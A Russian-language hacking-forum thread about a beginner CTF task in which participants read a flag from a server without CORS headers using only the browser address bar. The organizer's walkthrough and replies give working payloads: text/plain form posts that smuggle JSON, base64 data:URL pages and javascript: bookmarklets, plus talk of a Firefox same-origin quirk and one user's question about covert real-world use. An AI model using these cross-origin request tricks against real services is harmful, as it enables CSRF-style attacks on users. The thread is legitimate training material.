ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.io/forumdisplay.php?f=112)
-   -   Task #13 (https://forum.antichat.io/showthread.php?t=482941)

dooble 13.02.2021 11:54

Идея заданий родилась в закрытых разделах, но похоже и в паблике есть к этому некоторый интерес.

Правила понятные, механизм отладили, можно пускать это дело на самотек.

Хотя остается проблема "первых двух ступенек", т.е. нужны простые задания, которые можно выполнить с начальными навыками на форуме.

А вот их приготовить замеетно сложнее, чем хардкорные, как ни странно.

На начальном этапе изюминки почти неразличимы на фоне общих трудностей самого процесса познания.

Прокачавшись, трудно заставить себя постить простенькие вещи, вроде как не твой уровень.

Пробую этот пробел заполнять, и вот очередная попытка:

посмотрите аттач к заданию, в нем html страничка, которая пытается получить флаг, правда неудачно.

Есть простые способы получить этот флаг, поэтому сам флаг не интересует и приниматься будут не все способы, а только некоторые.

А именно:

- нельзя использовать прокладки (дополнительные скрипты, сайты, прокси)

- решение должно уместиться в строке браузера

- вызов должен быть непосредственно на task.antichat.com:10013

- проверять решение буду в браузерах Firefox и Chrome

Задание:

Таргет: http://task.antichat.com:10013

Найти и прочитать флаг.

Ответы присылайте в ПМ форума, интересует не сам флаг, а прохождение.

Срок:

две недели.

Правила остаются прежними:

В теме не флудим, подсказки разрешены только от ТС.

Прошли:

ii445888


Baskin-Robbins
- нашел три способа решить задание!

Hulkus - особенность в Firefox

Go0o$E


Прохождения:

/threads/482941/#post-4448252

dooble 14.02.2021 11:21

Картинка про CORS - обыкновенная подсказка.

dooble 15.02.2021 11:43

Задание предназначено в первую очередь для начинающих и указатель на CORS нужен для сокращения времени поиска направления решения.

Смотрим, там точно есть способ, которым решается задание, останется потыкать в реализацию.

dooble 16.02.2021 08:40

ii445888на подходе, практически зарешал, осталось оформить правильно.

Ну и вот простой способ достать флаг,

эмулируем запрос, который делается в приаттаченном файле

Код:

curl -H "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
Только этот результат нужно получить в браузере.

dooble 16.02.2021 11:59

Baskin-Robbins нашел альтернативное решение, срабатывает в Firefox.

dooble 17.02.2021 11:09

Baskin-Robbins нашел не просто решение таска, похоже он наковырял багу в Firefox.

И следующий хинт:

про адресную строку может быть не очень понятно, что решение должно уместиться в ней.

Просто вспомните, браузеры поддерживают не только http:// протокол, но и множество других, в некоторых будет удобно набрать решение.

dooble 18.02.2021 08:47

А вот интересно, проверяет ли сервер заголовок "Content-Type: application/json"?

Смотрим:

Код:

curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
Флаг отдается!

Упс, заголовок не проверяется и мы можем использовать способ отправить запрос, когда CORS игнорируется.

dooble 19.02.2021 15:29

"Простой запрос" может быть сделан через , без каких-то специальных методов.

Но формы не предназначены для отправки json-запросов.

- заголовок "Content-Type: application/json" не разрешен

- данные передаются в другом формате.

Но с заголовками мы вроде разобрались.

А данные как передать в json-формате?

Или все-таки можно?

dooble 20.02.2021 10:50

Наверное последнее, чем можно еще помочь:

если трудно набрать решение в адресной строке - приму html код, который выведет флаг на странице.

dooble 25.02.2021 09:51

До закрытия таска осталось немного времени.

Тем, кто попал в таблицу решивших задание, просьба отписать в топике - законное право победителя, ну и просто для поднятия конуса .

dooble 27.02.2021 15:48

Задание закрыто.



Прохождение:


Смотрим приаттаченный скрипт, в нем делается запрос на адрес http://task.antichat.com:10013 и ответ выводится на страницу.

Собственно - это вполне рабочий вариант, когда файл помещен на сайт задания, для проверки можно открыть его по адресу http://task.antichat.com:10013/task13.html.

Но когда выполняем его с другого хоста, в т.ч. и с localhost, браузер блочит ответ, если посмотреть в девелоперской панели:

Код:

Запрос из постороннего источника заблокирован: Политика одного источника запрещает чтение удаленного ресурса на http://task.antichat.com:10013/. (Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»).
Картинка в задании говорит, что самое время вспомнить про CORS, или почитать типа https://learn.javascript.ru/fetch-crossorigin.

Начинаем исследовать, curl равнодушен к SOP, поэтому потыкаем таргет, эмулируя запрос из файла задания:

Код:

curl -iH "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
флаг получен, цель понятна, нужно выполнить запрос в браузере.

Но браузер будет упорно сопротивляться.

Сервер с заданием не отдает заголовки для кросс-доменных запросов, облом, браузеры давно уже имеют защиту от таких попыток.

Можно поискать какой-нибудь зиродейчик, можно попробовать залиться, но легко не будет, не простое задание получится.

Поэтому ищем чего-то другое.

Вот тут пора обратить внимание, что html-формы (как и curl) - "можно отправлять куда угодно", это древний механизм, созданный задолго до появления всяких сетевых политик и он их просто не замечает.

Это хорошо, но есть пара проблем:

- формы не умеют отправлять заголовок "Content-Type: application/json"

- не умеют отправлять данные в формате json, а другие форматы сервер с заданием не принимает.

Пробуем заточить под наши нужды.

Проверяем, обязателен ли заголовок "Content-Type: application/json"

Код:

curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013
флаг отдается, значит заголовок не обязателен, ковыряем json-строку.

Надо сформатировать отправку данных так, чтобы она стала валидной json-строкой, в которой будет кусок "operation":"GetFlag".

Например:

Код:


На сервер уйдет пакет

Код:

POST / HTTP/1.1
Host: task.antichat.com:10013
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: text/plain
Content-Length: 38
Connection: close

{"operation":"GetFlag","(.)(.)":"="}

Видим флаг.

Теперь по поводу решения в адресной строке браузера - вообще не проблема, просто штатное использование протокола data:URL

data:text/html, и дальше наш html-текст копипастом.

Часто используют base64 кодирование

берем

Код:


енкодим в base64

Код:

PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo=
знаки равенства в конце base64-строки можно отбросить

Код:

data:text/html;base64,PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo
Вставляем в адресную строку - видим флаг.

Прохождения участников:



.SpoilerTarget" type="button">Spoiler: Прохождения
Цитата:

Сообщение от ii445888

Код:



Цитата:

Сообщение от ii445888
Код:

[/B][/B][/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][B][B]       
       
   






Цитата:

Сообщение от Baskin-Robbins

Вот так?
Код:

data:text/html,document.getElementById("dd").submit()

Цитата:

Сообщение от Baskin-Robbins

Привет, а решение через букмарклеты подходит?
Типо сохраняем любую страницу в закладки, например с именем 111, редактируем в настройках URL
на такой
Код:

javascript:fetch('http://task.antichat.com:10013', { method: 'POST',body: JSON.stringify({'operation': 'GetFlag'})}).then(r=>r.text()).then(d=>alert(d));
открываем
http://task.antichat.com:10013
щелкаем по закладке 111
в алерте наш флаг, в огнелисе работает



.SpoilerTarget" type="button">Spoiler: Прохождения

Цитата:

Сообщение от Baskin-Robbins

С закладками я погуглил и так понял что не бага, там вроде даже на вики
писали что из закладок выполняемый код получает доступ к странице.
Раньше из js можно было добавлять в браузер свои закладки, сейчас убрали
эту фичу, хотя саму возможность выполнения оставили.
Я думаю что все же нет, не бага.
Но бага есть, другая, хотя для использования нужны другие баги.
ФФ может выводить инфу в обход SOP для "простых запросов" без
хидера Access-Control-Allow-Origin. Суть в том что отправив запрос,
не важно через XMLHttpRequest или fetch во вкладке Network мы можем
увидеть ответ. Я посчитал сначало что фича firefox'a но работает через раз,
рандомно может вернуть ответ, а может нет. Проблема в том что js его
не видит, т.е ответ видит только пользователь. А допустим извернуться и попытаться
заскринить мы не можем, так как из js не можем панелью разработчика управлять
в браузере. К слову на опера и хром не получилось так, не вывели они инфу,
так что бага, но использовать ее как есть нельзя, нужно что-то еще.
Я думал ты таск закроешь и я напишу про эту фичу(с игнорированием SOP),
так как сам не могу сейчас ее докрутить, а про закладки надо посмотреть доки,
не думаю все же что бага.

Цитата:

Сообщение от Hulkus

Цитата:

Сообщение от Go0o$E

Решение на вывод Chrome/Firefox
Код HTML:

data:text/html;base64,PGZvcm0gYWN0aW9uPSJodHRwOi8vdGFzay5hbnRpY2hhdC5jb206MTAwMTMvIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9InRleHQvcGxhaW4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiYjMTIzOyZxdW90O29wZXJhdGlvbiZxdW90OyYjNTg7JnF1b3Q7R2V0RmxhZyZxdW90OyYjNDQ7JnF1b3Q7Z2V0JnF1b3Q7JiM1ODsmcXVvdDsiIHZhbHVlPSJmbGFnJnF1b3Q7JiMxMjU7JiMxMzsmIzEwOyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IHJlcXVlc3QiIC8+PC9mb3JtPjxzY3JpcHQ+ZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk7PC9zY3JpcHQ+Cg

[/quote]

Baskin-Robbins 27.02.2021 15:59

Вариант для Chrome.

Открываем task.antichat.com:10013 в url вписываем:

Код:

javascript:data = {'operation': 'GetFlag'};fetch('http://task.antichat.com:10013', {method: 'POST',body: JSON.stringify(data),}).then(r=>r.text()).then(d=>alert(d));
К слову о вкладке network в firefox.

Подобное поведение было замечено не на всех Gecko браузерах, такое же поведение

присутсвовало в waterfox, но не было замечено в comodo icedragon и Pale Moon.

Также подобное можно увидеть на ныне заброшеном проекте orbitum(Blink), где в отличии

от огнелиса я наблюдал 100% вывод. Это наводит на мысль, что возможно эта фича

присутсвовала и в старых версиях хрома.

Ну и раз затронул тему "маленьких" браузеров отмечу, что при запросе из data://

через fetch или XMLHttpRequest в большинстве браузеров Origin будет null, но

браузер SeaMonkey унаследует его из текущей вкладки. Поэтому решение таска

возможно схожим с javascript:... образом для chrome, но @dooble его бы не засчитал:

Код:

data:text/html,data = {'operation': 'GetFlag'};var url = 'http://task.antichat.com:10013';var xhr = new XMLHttpRequest;xhr.open('POST',url,false);xhr.send(JSON.stringify(data));alert(xhr.responseText);

neur0funk 02.03.2021 16:14

А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было обойти через audio и video

Baskin-Robbins 03.03.2021 07:45

Цитата:

Сообщение от neur0funk

А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было обойти через audio и video

Лично я, на текущий момент, не вижу вектора именно скрытого использования.

Хотя, надо подумать.


Время: 15:19